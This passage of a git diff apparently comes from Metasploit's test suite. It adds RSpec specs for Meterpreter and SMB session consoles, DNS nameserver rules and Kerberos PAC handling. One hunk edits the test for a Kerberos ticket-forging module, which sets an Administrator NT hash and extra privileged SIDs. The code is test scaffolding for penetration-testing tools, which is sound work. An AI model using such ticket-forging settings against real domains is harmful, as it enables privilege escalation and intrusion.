Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Core do + let(:session) { instance_double(Msf::Sessions::Meterpreter) } + # A meterpreter session *is* a client but for the smb session it *has* a (ruby smb) client + let(:client) { session } + let(:console) do + console = Rex::Post::Meterpreter::Ui::Console.new(session) + console.disable_output = true + console + end + + before(:each) do + allow(session).to receive(:console).and_return(console) + allow(session).to receive(:name).and_return('test client name') + allow(session).to receive(:sid).and_return('test client sid') + end + + subject(:command_dispatcher) { described_class.new(session.console) } + + it_behaves_like 'session command dispatcher' +end diff --git a/spec/lib/rex/post/smb/ui/console/command_dispatcher/core_spec.rb b/spec/lib/rex/post/smb/ui/console/command_dispatcher/core_spec.rb new file mode 100644 index 0000000000..5860974dbd --- /dev/null +++ b/spec/lib/rex/post/smb/ui/console/command_dispatcher/core_spec.rb @@ -0,0 +1,25 @@ +# frozen_string_literal: true + +require 'spec_helper' +require 'rex/post/smb/ui/console/command_dispatcher/core' + +RSpec.describe Rex::Post::SMB::Ui::Console::CommandDispatcher::Core do + let(:client) { instance_double(RubySMB::Client) } + let(:session) { Msf::Sessions::SMB.new(nil, { client: client }) } + let(:console) do + console = Rex::Post::SMB::Ui::Console.new(session) + console.disable_output = true + console + end + + before(:each) do + allow(session).to receive(:client).and_return(client) + allow(session).to receive(:console).and_return(console) + allow(session).to receive(:name).and_return('test client name') + allow(session).to receive(:sid).and_return('test client sid') + end + + subject(:command_dispatcher) { described_class.new(session.console) } + + it_behaves_like 'session command dispatcher' +end diff --git a/spec/lib/rex/proto/dns/custom_nameserver_provider_spec.rb b/spec/lib/rex/proto/dns/custom_nameserver_provider_spec.rb new file mode 100755 index 0000000000..89313095c3 --- /dev/null +++ b/spec/lib/rex/proto/dns/custom_nameserver_provider_spec.rb @@ -0,0 +1,142 @@ +# -*- coding:binary -*- +require 'spec_helper' +require 'net/dns' + + +RSpec.describe Rex::Proto::DNS::CustomNameserverProvider do + def packet_for(name) + packet = Net::DNS::Packet.new(name, Net::DNS::A, Net::DNS::IN) + Rex::Proto::DNS::Packet.encode_drb(packet) + end + + let(:base_nameserver) do + '1.2.3.4' + end + + let(:ruleless_nameserver) do + '1.2.3.5' + end + + let(:ruled_nameserver) do + '1.2.3.6' + end + + let(:ruled_nameserver2) do + '1.2.3.7' + end + + let(:ruled_nameserver3) do + '1.2.3.8' + end + + let (:config) do + {:dns_cache_no_start => true} + end + + let (:framework_with_dns_enabled) do + framework = Object.new + def framework.features + f = Object.new + def f.enabled?(_name) + true + end + + f + end + + framework + end + + subject(:many_ruled_provider) do + dns_resolver = Rex::Proto::DNS::CachedResolver.new(config) + dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider) + dns_resolver.nameservers = [base_nameserver] + dns_resolver.add_nameserver([], ruleless_nameserver, nil) + dns_resolver.add_nameserver(['*.metasploit.com'], ruled_nameserver, nil) + dns_resolver.add_nameserver(['*.metasploit.com'], ruled_nameserver2, nil) + dns_resolver.add_nameserver(['*.notmetasploit.com'], ruled_nameserver3, nil) + dns_resolver.set_framework(framework_with_dns_enabled) + + dns_resolver + end + + subject(:ruled_provider) do + dns_resolver = Rex::Proto::DNS::CachedResolver.new(config) + dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider) + dns_resolver.nameservers = [base_nameserver] + dns_resolver.add_nameserver([], ruleless_nameserver, nil) + dns_resolver.add_nameserver(['*.metasploit.com'], ruled_nameserver, nil) + dns_resolver.set_framework(framework_with_dns_enabled) + + dns_resolver + end + + subject(:ruleless_provider) do + dns_resolver = Rex::Proto::DNS::CachedResolver.new(config) + dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider) + dns_resolver.nameservers = [base_nameserver] + dns_resolver.add_nameserver([], ruleless_nameserver, nil) + dns_resolver.set_framework(framework_with_dns_enabled) + + dns_resolver + end + + subject(:empty_provider) do + dns_resolver = Rex::Proto::DNS::CachedResolver.new(config) + dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider) + dns_resolver.nameservers = [base_nameserver] + dns_resolver.set_framework(framework_with_dns_enabled) + + dns_resolver + end + + context 'When no nameserver is configured' do + it 'The resolver base is returned' do + packet = packet_for('subdomain.metasploit.com') + ns = empty_provider.nameservers_for_packet(packet) + expect(ns).to eq([[base_nameserver, {}]]) + end + end + + context 'When a base nameserver is configured' do + it 'The base nameserver is returned' do + packet = packet_for('subdomain.metasploit.com') + ns = ruleless_provider.nameservers_for_packet(packet) + expect(ns).to eq([[ruleless_nameserver, {}]]) + end + end + + context 'When a nameserver rule is configured and a rule entry matches' do + it 'The correct nameserver is returned' do + packet = packet_for('subdomain.metasploit.com') + ns = ruled_provider.nameservers_for_packet(packet) + expect(ns).to eq([[ruled_nameserver, {}]]) + end + end + + context 'When a nameserver rule is configured and no rule entry is applicable' do + it 'The base nameserver is returned when no rule entry' do + packet = packet_for('subdomain.notmetasploit.com') + ns = ruled_provider.nameservers_for_packet(packet) + expect(ns).to eq([[ruleless_nameserver, {}]]) + end + end + + context 'When many rules are configured' do + it 'Returns multiple entries if multiple rules match' do + packet = packet_for('subdomain.metasploit.com') + ns = many_ruled_provider.nameservers_for_packet(packet) + expect(ns).to eq([[ruled_nameserver, {}], [ruled_nameserver2, {}]]) + end + end + + context 'When a packet contains multiple questions that have different nameserver results' do + it 'Throws an error' do + packet = packet_for('subdomain.metasploit.com') + q = Dnsruby::Question.new('subdomain.notmetasploit.com', Dnsruby::Types::A, Dnsruby::Classes::IN) + + packet.question.append(q) + expect {many_ruled_provider.nameservers_for_packet(packet)}.to raise_error(ResolverError) + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/proto/kerberos/crypto/aes256_cts_sha1_spec.rb b/spec/lib/rex/proto/kerberos/crypto/aes256_cts_sha1_spec.rb index 5d23c2e765..3ce1f15643 100644 --- a/spec/lib/rex/proto/kerberos/crypto/aes256_cts_sha1_spec.rb +++ b/spec/lib/rex/proto/kerberos/crypto/aes256_cts_sha1_spec.rb @@ -87,7 +87,6 @@ RSpec.describe Rex::Proto::Kerberos::Crypto::Aes256CtsSha1 do end it 'Decryption inverts encryption' do - print("\n\nDECRYPTING\n\n") plaintext = "The quick brown fox jumps over the lazy dog" key = "\xfe\x69\x7b\x52\xbc\x0d\x3c\xe1\x44\x32\xba\x03\x6a\x92\xe6\x5b\xbb\x52\x28\x09\x90\xa2\xfa\x27\x88\x39\x98\xd7\x2a\xf3\x01\x61" msg_type = 4 diff --git a/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb b/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb index 2894302da7..c8f51c825c 100644 --- a/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/krb5_pac_spec.rb @@ -88,6 +88,18 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do ) end + let(:upn_dns_info) do + element = Rex::Proto::Kerberos::Pac::Krb5UpnDnsInfo.new( + upn: 'juan@demo.local', + dns_domain_name: 'DEMO.LOCAL', + flags: 3, + sam_name: 'juan', + sid: 'S-1-5-21-1755879683-3641577184-3486455962-1038' + ) + element.set_offsets! + element + end + let(:pac_elements) do [ logon_info, @@ -97,6 +109,16 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do ] end + let(:pac_elements_with_upn) do + [ + logon_info, + client_info, + upn_dns_info, + server_checksum, + priv_srv_checksum + ] + end + describe '#assign' do it 'creates a valid pac structure' do @@ -112,6 +134,16 @@ RSpec.describe Rex::Proto::Kerberos::Pac::Krb5Pac do end end + describe '#write' do + it 'writes then reads back to its original state' do + pac.assign(pac_elements: pac_elements_with_upn) + pac.sign! + data = pac.to_binary_s + result = Rex::Proto::Kerberos::Pac::Krb5Pac.read(data) + expect(result).to eq(pac) + end + end + describe '#read' do it 'correctly parses the binary data' do pac = described_class.read(sample) diff --git a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb index dad3c331b8..b64200d397 100644 --- a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb @@ -31,6 +31,7 @@ RSpec.describe 'kerberos keytab' do subject.datastore['DOMAIN_SID'] = 'S-1-5-21-1266190811-2419310613-1856291569' subject.datastore['NTHASH'] = '767400b2c71afa35a5dca216f2389cd9' subject.datastore['USER'] = 'Administrator' + subject.datastore['RPORT'] = '' # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/81d92bba-d22b-4a8c-908a-554ab29148ab subject.datastore['EXTRA_SIDS'] = ' S-1-18-1, S-1-5-21-1266190811-2419310613-1856291569-519, ' subject.datastore['SessionKey'] = 'A' * 16 diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index c762e53842..2aceff27d1 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -169,6 +169,7 @@ RSpec.configure do |config| # https://github.com/rapid7/rex-text/blob/11e59416f7d8cce18b8b8b9893b3277e6ad0bea1/lib/rex/text/wrapped_table.rb#L74 # This can cause some integration tests to fail if the tests are run from smaller consoles # This mock will ensure that the tests run without word-wrapping. + require 'bigdecimal' config.before(:each) do mock_io_console = double(:console, winsize: { rows: 30, columns: ::BigDecimal::INFINITY }.values) allow(::IO).to receive(:console).and_return(mock_io_console) diff --git a/spec/support/shared/examples/msf/ui/console/command_dispatcher/session_spec.rb b/spec/support/shared/examples/msf/ui/console/command_dispatcher/session_spec.rb new file mode 100644 index 0000000000..a642e14492 --- /dev/null +++ b/spec/support/shared/examples/msf/ui/console/command_dispatcher/session_spec.rb @@ -0,0 +1,118 @@ +require 'spec_helper' + +RSpec.shared_examples_for 'session command dispatcher' do + include_context 'Msf::Simple::Framework' + + describe '#client' do + subject { command_dispatcher.client } + it { is_expected.to be(client) } + end + + describe '#session' do + subject { command_dispatcher.session } + it { is_expected.to be(session) } + end + + describe 'Core commands' do + describe '#cmd_background' do + before(:each) do + allow(session).to receive(:interacting=) + end + + it 'backgrounds the session' do + subject.cmd_background + expect(session).to have_received(:interacting=).with(false) + end + + it 'is aliased to #cmd_bg' do + expect(subject.method(:cmd_background)).to eq(subject.method(:cmd_bg)) + end + end + + describe '#cmd_exit' do + before(:each) do + allow(session).to receive(:exit) + end + + it 'shuts down the session' do + subject.cmd_exit + expect(session).to have_received(:exit) + end + + it 'is aliased to #cmd_quit' do + expect(subject.method(:cmd_exit)).to eq(subject.method(:cmd_quit)) + end + end + + describe '#cmd_irb' do + let(:history_manager) { double('history_manager') } + before(:each) do + allow(session).to receive(:framework).and_return(framework) + allow(framework).to receive(:history_manager).and_return(history_manager) + allow(history_manager).to receive(:with_context).and_yield + allow(Rex::Ui::Text::IrbShell).to receive(:new).with(session).and_return(irb_shell) + allow(irb_shell).to receive(:run) + end + let(:irb_shell) { instance_double(Rex::Ui::Text::IrbShell) } + it 'runs an irb shell instance' do + subject.cmd_irb + expect(Rex::Ui::Text::IrbShell).to have_received(:new).with(session) + expect(irb_shell).to have_received(:run) + end + end + + describe '#cmd_sessions' do + context 'when switching to a new session' do + before(:each) do + allow(session).to receive(:interacting=) + allow(session).to receive(:next_session=) + end + + let(:new_session_id) { 2 } + + it 'backgrounds the session and switches to the new session' do + subject.cmd_sessions(new_session_id) + expect(session).to have_received(:interacting=).with(false) + expect(session).to have_received(:next_session=).with(new_session_id) + end + end + end + + describe '#cmd_resource' do + context 'when there is a valid resource script' do + let(:valid_resource_path) { 'valid/resource/path' } + before(:each) do + allow(File).to receive(:exist?).and_return(valid_resource_path) + allow(session.console).to receive(:load_resource) + end + it 'executes the resource script' do + subject.cmd_resource(valid_resource_path) + expect(session.console).to have_received(:load_resource).with(valid_resource_path) + end + end + end + + %i[help background sessions resource irb pry exit].each do |command| + describe "#cmd_#{command}" do + before(:each) do + allow(subject).to receive("cmd_#{command}_help") + end + next if %i[help exit].include?(command) # These commands don't require`-h/--help` + + context 'when called with the `-h` argument' do + it 'should call the corresponding help function' do + subject.send("cmd_#{command}", '-h') + expect(subject).to have_received("cmd_#{command}_help") + end + end + + context 'when called with the `--help` argument' do + it 'should call the corresponding help function' do + subject.send("cmd_#{command}", '--help') + expect(subject).to have_received("cmd_#{command}_help") + end + end + end + end + end +end